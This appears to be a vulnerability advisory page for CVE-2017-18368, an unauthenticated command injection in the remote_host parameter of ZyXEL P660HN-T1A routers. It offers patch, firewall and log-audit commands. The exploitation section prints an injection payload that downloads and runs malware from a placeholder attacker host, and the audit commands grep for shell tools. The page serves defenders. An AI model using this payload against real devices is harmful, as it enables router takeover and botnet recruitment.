CVE DatabaseCVE-2017-18368
한국어 권고문 →
CVE-2017-183689.8/CRITICALCISA KEVCWE-78CWE-78

ZyXEL P660HN-T1A Router ViewLog.asp Remote Command Injection Vulnerability (CVE-2017-18368) Analysis and Mitigation Guide

⚡ Jump to Patch
Affected Vendors
zyxel
Affected Components
p660hn-t1a
Published Date
2019-05-02
CVSS v3.1
9.8
CRITICAL
EPSS (30d)
94.5%
FIRST.org
CISA KEV
Exploited

Executive & SecOps Summary

SECOPS ASSESSMENT
Affected Scope

ZyXEL P660HN-T1A v1 routers distributed by TrueOnline running TCLinux Firmware v7.3.15.0 v001 / 3.40(ULM.0)b31 or prior

Impact

Unauthenticated remote attackers can execute arbitrary system commands with root privileges by manipulating the remote_host parameter in the ViewLog.asp page

Mitigation

Immediately disable external WAN access to the web management interface, apply the latest firmware updates, or replace legacy end-of-life devices

Affected Products & Version Scope

ZyXEL P660HN-T1A v1 routers distributed by TrueOnline running TCLinux Firmware v7.3.15.0 v001 / 3.40(ULM.0)b31 and prior

Remediation & Live Workaround Commands

PATCH & WORKAROUND

1. Official Patch & Version Upgrade Commands

Since this device may have reached End-of-Life (EoL) status, verify firmware availability with ZyXEL or TrueOnline. If an updated firmware is available, apply it via the command-line interface as follows:

bash
# 1. Download the patched firmware image (example URL)
wget http://customer.trueonline.com/support/firmware/P660HN-T1A-v1-latest.bin -O /tmp/firmware.bin

# 2. Flash the firmware using the system upgrade utility
sys upgrade /tmp/firmware.bin

2. Temporary Workaround & Hardening Configuration

If patching is not immediately feasible, restrict all external WAN access to the web management interface. Configure firewall rules (iptables) to allow access only from trusted internal IP addresses.

bash
# Block HTTP and HTTPS management access from the WAN interface (e.g., eth0)
iptables -A INPUT -i eth0 -p tcp --dport 80 -j DROP
iptables -A INPUT -i eth0 -p tcp --dport 443 -j DROP

# Allow access only from a trusted administrator IP (e.g., 192.168.1.100)
iptables -I INPUT -p tcp -s 192.168.1.100 --dport 80 -j ACCEPT

3. Log Audit & IoC Verification Commands

Inspect the web server access logs for suspicious requests targeting ViewLog.asp with command injection payloads.

bash
# Search web access logs for ViewLog.asp requests containing shell metacharacters
grep -i 'ViewLog.asp' /var/log/httpd/access_log | grep -E '(\||;|\&|\`|\$)'

# Check for unauthorized active processes or suspicious outbound connections
ps | grep -E '(wget|curl|sh|bash|tmp)'
Interactive SecOps Remediation Checklist
0/4 (0%)
Recommended Security Control & Mitigation Partner
NordLayer / Zero-Trust Network Access
It is highly recommended to immediately isolate legacy vulnerable devices from the public internet and replace them with modern, supported hardware.

Stop Exposing VPN Ports to the Internet — Switch to Zero-Trust Access

Eliminate public-facing VPN concentrators and firewall management ports with identity-first Zero-Trust Network Access.

90% Attack Surface Reduction · Hardware-Free

Technical Root Cause & Exploitation Mechanics

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2017-18368) is a critical OS command injection flaw in the Remote System Log forwarding function of the ZyXEL P660HN-T1A v1 router distributed by TrueOnline. The root cause lies in the lack of proper input validation and sanitization of the remote_host parameter within the ViewLog.asp web page. An unauthenticated remote attacker can inject shell metacharacters (such as semicolons or backticks) into this parameter, forcing the underlying TCLinux operating system to execute arbitrary commands.

2. Exploitation Mechanics & Attack Scenario

An attacker scans for target devices with port 80 or the web administration port exposed to the public internet. Once a target is identified, the attacker sends a crafted HTTP POST or GET request to the ViewLog.asp endpoint. By appending malicious shell commands to the remote_host parameter (e.g., remote_host=127.0.0.1; wget http://<attacker_ip>/malware -O /tmp/m; chmod +x /tmp/m; /tmp/m), the web server executes the payload with administrative (root) privileges. This vulnerability has been actively exploited in the wild by various IoT botnets, such as Mirai, to compromise routers and enlist them into DDoS networks.

3. Infrastructure & Business Impact

With a CVSS 3.1 score of 9.8 (Critical) and its inclusion in the CISA KEV catalog, this vulnerability poses an extreme risk. Successful exploitation grants full administrative control over the router. Attackers can use the compromised device as a pivot point to perform lateral movement within the internal network, sniff sensitive network traffic, alter DNS settings for phishing campaigns, or launch distributed denial-of-service (DDoS) attacks, severely damaging organizational reputation and operational continuity.

Official Vendor Advisories & References

Frequently Asked SecOps Questions (CVE-2017-18368)

FAQ

Q1. How critical is CVE-2017-18368 and is it actively exploited in the wild?

CVE-2017-18368 is rated CVSS 9.8 (CRITICAL) with a 30-day EPSS exploitation probability of 94.5%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.

Q2. Which vendors and products are affected by CVE-2017-18368?

Primary impacted vendors include zyxel across p660hn-t1a. Scope summary: ZyXEL P660HN-T1A v1 routers distributed by TrueOnline running TCLinux Firmware v7.3.15.0 v001 / 3.40(ULM.0)b31 and prior

Q3. What temporary mitigations or workarounds exist for CVE-2017-18368 before patching?

[Mitigation] Immediately disable external WAN access to the web management interface, apply the latest firmware updates, or replace legacy end-of-life devices Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.

SECOPS WORKBENCH INTEGRATION

Generate an Internal Engineering Notice or CISO Report for CVE-2017-18368

Instantly format this advisory into an executive CISO summary or engineering patch ticket.

Generate Report →

🔗 Related Advisories in Similar Stack (zyxel)

View Category →
SecOps Advisory Dispatch & RSS Feed

Subscribe to Daily Vulnerability Briefings & KEV Alerts

Concise morning briefings for SecOps, DevSecOps, and SRE teams covering newly exploited CVEs and mitigation priorities.

Slack / Teams / RSS Feed:
PatchKO
CVE-2017-18368 ZyXEL P660HN-T1A Router ViewLog.asp Remote Command Injection Vulnerability (CVE-2017-18368) Analysis and Mitigation Guide (CVSS 9.8) - Patch & Workaround | CVE Pulse